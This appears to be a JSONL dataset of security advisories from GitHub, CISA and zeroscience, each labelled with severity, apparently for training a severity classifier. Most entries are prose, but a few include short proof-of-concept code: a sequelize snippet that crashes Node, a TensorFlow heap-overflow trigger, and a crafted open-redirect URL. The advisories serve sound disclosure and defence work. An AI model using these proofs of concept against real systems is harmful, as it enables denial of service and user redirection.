-{"id": "e6573a71020540bfdf35", "text": "Use of a Broken or Risky Cryptographic Algorithm in Terraform\n\nWhen using the Azure backend with a shared access signature (SAS), Terraform versions prior to 0.12.17 may transmit the token and state snapshot using cleartext HTTP.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/terraform/backend/remote-state/azure", "text_raw": "Use of a Broken or Risky Cryptographic Algorithm in Terraform\n\n[Severity: HIGH]\n\nWhen using the Azure backend with a shared access signature (SAS), Terraform versions prior to 0.12.17 may transmit the token and state snapshot using cleartext HTTP.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/terraform/backend/remote-state/azure", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "81b3f61ac616d4c3b4b1", "text": "XML Injection in Any23\n\nAn XML external entity (XXE) injection vulnerability was discovered in the Any23 StreamUtils.java file and is known to affect Any23 versions < 2.5. XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.", "text_raw": "XML Injection in Any23\n\n[Severity: CRITICAL]\n\nAn XML external entity (XXE) injection vulnerability was discovered in the Any23 StreamUtils.java file and is known to affect Any23 versions < 2.5. XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "306289a6a739b6e82208", "text": "http-proxy.js is malware\n\nThe `http-proxy.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "http-proxy.js is malware\n\n[Severity: HIGH]\n\nThe `http-proxy.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "3484a73623d58dcfd923", "text": "Denial of Service in sequelize\n\nVersions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.\n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() => {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.", "text_raw": "Denial of Service in sequelize\n\n[Severity: MEDIUM]\n\nVersions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  \n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() => {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f135dd05f00ef22ce93f", "text": "Data races in tiny_future\n\n`tiny_future` contains a light-weight implementation of `Future`s. The `Future` type it has lacked bound on its `Send` and `Sync` traits. This allows for a bug where non-thread safe types such as `Cell` can be used in `Future`s and cause data races in concurrent programs. The flaw was corrected in commit `c791919` by adding trait bounds to `Future`'s `Send` and `Sync`.", "text_raw": "Data races in tiny_future\n\n[Severity: HIGH]\n\n`tiny_future` contains a light-weight implementation of `Future`s. The `Future` type it has lacked bound on its `Send` and `Sync` traits. This allows for a bug where non-thread safe types such as `Cell` can be used in `Future`s and cause data races in concurrent programs. The flaw was corrected in commit `c791919` by adding trait bounds to `Future`'s `Send` and `Sync`.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6370f1b6c2b69fca29d1", "text": "Implementation trusts the \"me\" field returned by the authorization server without verifying it\n\n### Impact\n\nA malicious user can sign in as a user with any IndieAuth identifier. This is because the implementation does not verify that the final `\"me\"` URL value returned by the authorization server belongs to the same domain as the initial value entered by the user.\n\n### Patches\n\nVersion 1.1 fixes this issue.\n\n### Workarounds\n\nThere is no workaround. Upgrade to 1.1 immediately.\n\n### References\n\n- [Security Considerations: Differing User Profile URLs](https://indieauth.spec.indieweb.org/#differing-user-profile-urls-li-1) in the IndieAuth specification.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [simonw/datasette-indieauth](https://github.com/simonw/datasette-indieauth/issues)", "text_raw": "Implementation trusts the \"me\" field returned by the authorization server without verifying it\n\n[Severity: CRITICAL]\n\n### Impact\n\nA malicious user can sign in as a user with any IndieAuth identifier. This is because the implementation does not verify that the final `\"me\"` URL value returned by the authorization server belongs to the same domain as the initial value entered by the user.\n\n### Patches\n\nVersion 1.1 fixes this issue.\n\n### Workarounds\n\nThere is no workaround. Upgrade to 1.1 immediately.\n\n### References\n\n- [Security Considerations: Differing User Profile URLs](https://indieauth.spec.indieweb.org/#differing-user-profile-urls-li-1) in the IndieAuth specification.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [simonw/datasette-indieauth](https://github.com/simonw/datasette-indieauth/issues)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-11-24", "split": "train"}
-{"id": "2b38325ac9874c0a6c0b", "text": "Denial of Service in ecstatic\n\nVersions of `ecstatic` prior to 1.4.0 are affected by a denial of service vulnerability when certain input strings are sent via the `Last-Modified` or `If-Modified-Since` headers.\n\nParsing certain inputs with `new Date()` or `Date.parse()` cases v8 to crash. As ecstatic passes the value of the affected headers into one of these functions, sending certain inputs via one of the headers will cause the server to crash.\n\n## Recommendation\n\nUpdate to version 1.4.0 or later.", "text_raw": "Denial of Service in ecstatic\n\n[Severity: HIGH]\n\nVersions of `ecstatic` prior to 1.4.0 are affected by a denial of service vulnerability when certain input strings are sent via the `Last-Modified` or `If-Modified-Since` headers.\n\nParsing certain inputs with `new Date()` or `Date.parse()` cases v8 to crash. As ecstatic passes the value of the affected headers into one of these functions, sending certain inputs via one of the headers will cause the server to crash.\n\n\n\n## Recommendation\n\nUpdate to version 1.4.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-06-07", "split": "train"}
-{"id": "1b4baf45480e3d6833c0", "text": "SAP NetWeaver Remote Code Execution Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms Invoker Servlet does not require authentication, allowing for remote code execution via a HTTP or HTTPS request.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SAP NetWeaver Remote Code Execution Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms Invoker Servlet does not require authentication, allowing for remote code execution via a HTTP or HTTPS request.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6dc44d3add2185617dda", "text": "Heap buffer overflow in `FractionalAvgPoolGrad`\n\n### Impact\nThe implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\norig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)\nout_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\ncol_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\n\ntf.raw_ops.FractionalAvgPoolGrad(\n  orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/dcba796a28364d6d7f003f6fe733d82726dda713/tensorflow/core/kernels/fractional_avg_pool_op.cc#L216) fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape.\n\n### Patches\nWe have patched the issue in GitHub commit [12c727cee857fa19be717f336943d95fca4ffe4f](https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `FractionalAvgPoolGrad`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow:\n  \n```python\nimport tensorflow as tf\n\norig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)\nout_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\ncol_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\n\n\ntf.raw_ops.FractionalAvgPoolGrad(\n  orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/dcba796a28364d6d7f003f6fe733d82726dda713/tensorflow/core/kernels/fractional_avg_pool_op.cc#L216) fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape.\n\n### Patches\nWe have patched the issue in GitHub commit [12c727cee857fa19be717f336943d95fca4ffe4f](https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "d4b93c019f7dc93f2b40", "text": "github.com/sassoftware/go-rpmutils Arbitrary File Write via Archive Extraction (Zip Slip)\n\nThe CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading `..` which leads in file extraction outside of the current directory. Note, the fixing commit was applied to all affected versions which were re-released.", "text_raw": "github.com/sassoftware/go-rpmutils Arbitrary File Write via Archive Extraction (Zip Slip)\n\n[Severity: HIGH]\n\nThe CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading `..` which leads in file extraction outside of the current directory. Note, the fixing commit was applied to all affected versions which were re-released.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "e749bc587206e6d4082e", "text": "Cross-site scripting\n\nShopware is an open source eCommerce platform. Versions prior to 5.6.10 suffer from an authenticated stored XSS in administration vulnerability. Users are recommend to update to the version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.", "text_raw": "Cross-site scripting\n\n[Severity: MEDIUM]\n\nShopware is an open source eCommerce platform. Versions prior to 5.6.10 suffer from an authenticated stored XSS in administration vulnerability. Users are recommend to update to the version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "1d820ca07074d9715195", "text": "Open Redirect in Flask-Security-Too\n\n### Impact\nFlask-Security allows redirects after many successful views (e.g. /login) by honoring the ?next query param. There is code in FS to validate that the url specified in the next parameter is either relative OR has the same netloc (network location) as the requesting  URL.\n\nThis check utilizes Pythons urlsplit library. However many browsers are very lenient on the kind of URL they accept and 'fill in the blanks' when presented with a possibly incomplete URL. As a concrete example - setting http://login?next=\\\\\\github.com\nwill pass FS's relative URL check however many browsers will gladly convert this to http://github.com. Thus an attacker could send such a link to an unwitting user, using a legitimate site and have it redirect to whatever site they want.\n\n### Patches\nNo patches as this time\n\n### Workarounds\nIf using Werkzeug, make sure to use the default Location header setting. If you can't - then use@app.after_request and write your own validation of the Location header if it is set.\n\n### References\nNo.\n\n### For more information\nIf you have any questions or comments about this advisory follow: https://github.com/Flask-Middleware/flask-security/issues/486\n\nThanks to Claroty (2021-0141) and @snoopysecurity for providing details and proof of concept.", "text_raw": "Open Redirect in Flask-Security-Too\n\n[Severity: LOW]\n\n### Impact\nFlask-Security allows redirects after many successful views (e.g. /login) by honoring the ?next query param. There is code in FS to validate that the url specified in the next parameter is either relative OR has the same netloc (network location) as the requesting  URL.\n\nThis check utilizes Pythons urlsplit library. However many browsers are very lenient on the kind of URL they accept and 'fill in the blanks' when presented with a possibly incomplete URL. As a concrete example - setting http://login?next=\\\\\\github.com\nwill pass FS's relative URL check however many browsers will gladly convert this to http://github.com. Thus an attacker could send such a link to an unwitting user, using a legitimate site and have it redirect to whatever site they want.\n\nThis is considered a low severity due to the fact that if Werkzeug by default ALWAYS ensures that the Location header is absolute - thus making this attack vector mute. It is possible for application writers to modify this default behavior by setting the 'autocorrect_location_header=False` which would then open up their application to this attack.\n\n### Patches\nNo patches as this time\n\n### Workarounds\nIf using Werkzeug, make sure to use the default Location header setting. If you can't - then use@app.after_request and write your own validation of the Location header if it is set.\n\n### References\nNo.\n\n### For more information\nIf you have any questions or comments about this advisory follow: https://github.com/Flask-Middleware/flask-security/issues/486\n\nThanks to Claroty (2021-0141) and @snoopysecurity for providing details and proof of concept.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "19dcf85aa420c40c4589", "text": "Open Redirect vulnerability in jupyterhub and notebook\n\nAn Open Redirect vulnerability for all browsers in Jupyter Notebook before 5.7.8 and some browsers (Chrome, Firefox) in JupyterHub before 0.9.6 allows crafted links to the login page, which will redirect to a malicious site after successful login. Servers running on a base_url prefix are not affected.", "text_raw": "Open Redirect vulnerability in jupyterhub and notebook\n\n[Severity: MEDIUM]\n\nAn Open Redirect vulnerability for all browsers in Jupyter Notebook before 5.7.8 and some browsers (Chrome, Firefox) in JupyterHub before 0.9.6 allows crafted links to the login page, which will redirect to a malicious site after successful login. Servers running on a base_url prefix are not affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-02", "split": "train"}
-{"id": "6a2f639b87fe2b203b6d", "text": "OS Command Injection in adb-driver\n\nadb-driver through 0.1.8 is vulnerable to Command Injection.It allows execution of arbitrary commands via the command function.", "text_raw": " OS Command Injection in adb-driver\n\n[Severity: CRITICAL]\n\nadb-driver through 0.1.8 is vulnerable to Command Injection.It allows execution of arbitrary commands via the command function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "215603ddb8ed75398305", "text": "Use of Uninitialized Resource in ms3d\n\nAffected versions of this crate passes an uninitialized buffer to a user-provided Read implementation. Arbitrary Read implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior.\n\nThe flaw was fixed in commit `599313b` by zero-initializing the buffer (via self.buf.resize(len, 0)) before passing it to Read.", "text_raw": "Use of Uninitialized Resource in ms3d\n\n[Severity: HIGH]\n\nAffected versions of this crate passes an uninitialized buffer to a user-provided Read implementation. Arbitrary Read implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior.\n\nThe flaw was fixed in commit `599313b` by zero-initializing the buffer (via self.buf.resize(len, 0)) before passing it to Read.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6ae199aeb55700be1c57", "text": "Unsniff Network Analyzer 1.0 (usnf) Local Heap Overflow PoC", "text_raw": "Unsniff Network Analyzer 1.0 (usnf) Local Heap Overflow PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-04-06", "split": "train"}
-{"id": "dd15b6f70800812c013e", "text": "LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution Via Binary Path Manipulation", "text_raw": "LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution Via Binary Path Manipulation\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-02-11", "split": "train"}
-{"id": "d5c739081edd05716f5a", "text": "Sonatype Nexus Repository Manager Incorrect Access Control Vulnerability\n\nAffected: Sonatype Nexus Repository Manager\n\nSonatype Nexus Repository Manager before 3.15.0 has an incorrect access control vulnerability. Exploitation allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Sonatype Nexus Repository Manager Incorrect Access Control Vulnerability\n\nAffected: Sonatype Nexus Repository Manager\n\nSonatype Nexus Repository Manager before 3.15.0 has an incorrect access control vulnerability. Exploitation allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "df759b1049b38dbf6700", "text": "LogicalDOC Enterprise 7.7.4 Username Enumeration Weakness", "text_raw": "LogicalDOC Enterprise 7.7.4 Username Enumeration Weakness\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2018-02-11", "split": "train"}
-{"id": "ddf34d4035556b06c093", "text": "CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability", "text_raw": "CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-01-22", "split": "train"}
-{"id": "6065d2576d74e456e0c0", "text": "npm CLI exposing sensitive information through logs\n\nVersions of the npm CLI prior to 6.14.6 are vulnerable to an information exposure vulnerability through log files. The CLI supports URLs like `<protocol>://[<user>[:<password>]@]<hostname>[:<port>][:][/]<path>`. The password value is not redacted and is printed to stdout and also to any generated log files.", "text_raw": "npm CLI exposing sensitive information through logs\n\n[Severity: MEDIUM]\n\nVersions of the npm CLI prior to 6.14.6 are vulnerable to an information exposure vulnerability through log files. The CLI supports URLs like `<protocol>://[<user>[:<password>]@]<hostname>[:<port>][:][/]<path>`. The password value is not redacted and is printed to stdout and also to any generated log files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "2c32609249a9f75eedec", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1307, CVE-2019-1308, CVE-2019-1335.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1307, CVE-2019-1308, CVE-2019-1335.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "7961f8ea7864698716a4", "text": "OS Command Injection in Nexus Yum Repository Plugin\n\nThe Nexus Yum Repository Plugin in v2 is vulnerable to Remote Code Execution when instances using CommandLineExecutor.java are supplied vulnerable data, such as the Yum Configuration Capability.", "text_raw": "OS Command Injection in Nexus Yum Repository Plugin\n\n[Severity: HIGH]\n\nThe Nexus Yum Repository Plugin in v2 is vulnerable to Remote Code Execution when instances using CommandLineExecutor.java are supplied vulnerable data, such as the Yum Configuration Capability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "9e7b6e7957372c9817c4", "text": "Prototype Pollution in bmoor\n\nThe package bmoor before 0.8.12 are vulnerable to Prototype Pollution via the set function.", "text_raw": "Prototype Pollution in bmoor\n\n[Severity: HIGH]\n\nThe package bmoor before 0.8.12 are vulnerable to Prototype Pollution via the set function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "d51943b6d5ee775eabad", "text": "StripComments filter contains a regular expression that is vulnerable to ReDOS (Regular Expression Denial of Service)\n\n### Impact\nThe formatter function that strips comments from a SQL contains a regular expression that is vulnerable to [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) (Regular Expression Denial of Service). The regular expression may cause exponential backtracking on strings containing many repetitions of '\\r\\n' in SQL comments.\n\n### Patches\nThe issues has been fixed in sqlparse 0.4.2.\n\n### Workarounds\nOnly the formatting feature that removes comments from SQL statements is affected by this regular expression. As a workaround don't use the `sqlformat.format` function with keyword `strip_comments=True` or the `--strip-comments` command line flag when using the `sqlformat` command line tool.\n\n### References\nThis issue was discovered by GitHub team members @erik-krogh and @yoff. It was found using a [CodeQL](https://codeql.github.com/) query which identifies inefficient regular expressions. You can see the results of the query on python-sqlparse by following [this link](https://lgtm.com/query/2223658096471222354/).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [sqlparse issue tracker](https://github.com/andialbrecht/sqlparse/issues)\n* Email us at [albrecht.andi@gmail.com](mailto:albrecht.andi@gmail.com)", "text_raw": "StripComments filter contains a regular expression that is vulnerable to ReDOS (Regular Expression Denial of Service)\n\n[Severity: HIGH]\n\n### Impact\nThe formatter function that strips comments from a SQL contains a regular expression that is vulnerable to [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) (Regular Expression Denial of Service). The regular expression may cause exponential backtracking on strings containing many repetitions of '\\r\\n' in SQL comments.\n\n### Patches\nThe issues has been fixed in sqlparse 0.4.2.\n\n### Workarounds\nOnly the formatting feature that removes comments from SQL statements is affected by this regular expression. As a workaround don't use the `sqlformat.format` function with keyword `strip_comments=True` or the `--strip-comments` command line flag when using the `sqlformat` command line tool.\n\n### References\nThis issue was discovered by GitHub team members @erik-krogh and @yoff. It was found using a [CodeQL](https://codeql.github.com/) query which identifies inefficient regular expressions. You can see the results of the query on python-sqlparse by following [this link](https://lgtm.com/query/2223658096471222354/). \n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [sqlparse issue tracker](https://github.com/andialbrecht/sqlparse/issues)\n* Email us at [albrecht.andi@gmail.com](mailto:albrecht.andi@gmail.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-10", "split": "train"}
-{"id": "996e0197ec1df00a3274", "text": "DotNetNuke (DNN) Remote Code Execution Vulnerability\n\nAffected: DotNetNuke (DNN) DotNetNuke (DNN)\n\nDotNetNuke (DNN) contains a vulnerability that may allow for remote code execution via cookie deserialization.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "DotNetNuke (DNN) Remote Code Execution Vulnerability\n\nAffected: DotNetNuke (DNN) DotNetNuke (DNN)\n\nDotNetNuke (DNN) contains a vulnerability that may allow for remote code execution via cookie deserialization.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "84e3a025b52bdac863f0", "text": "Internal hidden fields are visible on to many associations in admin api\n\n### Impact\nThe admin api has exposed some internal hidden fields when an association has been loaded with a to many reference\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "Internal hidden fields are visible on to many associations in admin api\n\n[Severity: MEDIUM]\n\n### Impact\nThe admin api has exposed some internal hidden fields when an association has been loaded with a to many reference\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "c229bbb60a06f41c4fa2", "text": "Incorrect Provision of Specified Functionality in qutebrowser\n\n# Description\n\nAfter a certificate error was overridden by the user, qutebrowser displays the URL as yellow (`colors.statusbar.url.warn.fg`). However, when the affected website was subsequently loaded again, the URL was mistakenly displayed as green (`colors.statusbar.url.success_https`). While the user already has seen a certificate error prompt at this point (or set `content.ssl_strict` to `false` which is not recommended), this could still provide a false sense of security.\n\n# Affected versions and patches\n\nAll versions of qutebrowser are believed to be affected, though versions before v0.11.x couldn't be tested.\n\nThe issue is fixed in qutebrowser v1.11.1 (pending release) and v1.12.0 (unreleased). Backported patches for older versions are available, but no further releases are planned.\n\n# Mitigation\n\nIf you are unable to upgrade:\n\n- Treat any host with a certificate exception as insecure, ignoring the URL color\n- Or set `content.ssl_strict` to `True` (instead of `'ask'`), preventing certificate exceptions\n\n# References\n\n- qutebrowser issue: https://github.com/qutebrowser/qutebrowser/issues/5403\n- Fix (master branch): https://github.com/qutebrowser/qutebrowser/commit/021ab572a319ca3db5907a33a59774f502b3b975\n- Related issue for KDE Falkon: https://bugs.kde.org/show_bug.cgi?id=420902\n- Related issue for eric6 Web Browser: https://tracker.die-offenbachs.homelinux.org/eric/issue328 (fixed in eric6 20.6)", "text_raw": "Incorrect Provision of Specified Functionality in qutebrowser\n\n[Severity: LOW]\n\n# Description\n\nAfter a certificate error was overridden by the user, qutebrowser displays the URL as yellow (`colors.statusbar.url.warn.fg`). However, when the affected website was subsequently loaded again, the URL was mistakenly displayed as green (`colors.statusbar.url.success_https`). While the user already has seen a certificate error prompt at this point (or set `content.ssl_strict` to `false` which is not recommended), this could still provide a false sense of security.\n\n# Affected versions and patches\n\nAll versions of qutebrowser are believed to be affected, though versions before v0.11.x couldn't be tested.\n\nThe issue is fixed in qutebrowser v1.11.1 (pending release) and v1.12.0 (unreleased). Backported patches for older versions are available, but no further releases are planned.\n\n# Mitigation\n\nIf you are unable to upgrade:\n\n- Treat any host with a certificate exception as insecure, ignoring the URL color\n- Or set `content.ssl_strict` to `True` (instead of `'ask'`), preventing certificate exceptions\n\n# References\n\n- qutebrowser issue: https://github.com/qutebrowser/qutebrowser/issues/5403\n- Fix (master branch): https://github.com/qutebrowser/qutebrowser/commit/021ab572a319ca3db5907a33a59774f502b3b975\n- Related issue for KDE Falkon: https://bugs.kde.org/show_bug.cgi?id=420902\n- Related issue for eric6 Web Browser: https://tracker.die-offenbachs.homelinux.org/eric/issue328 (fixed in eric6 20.6)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-05-08", "split": "train"}
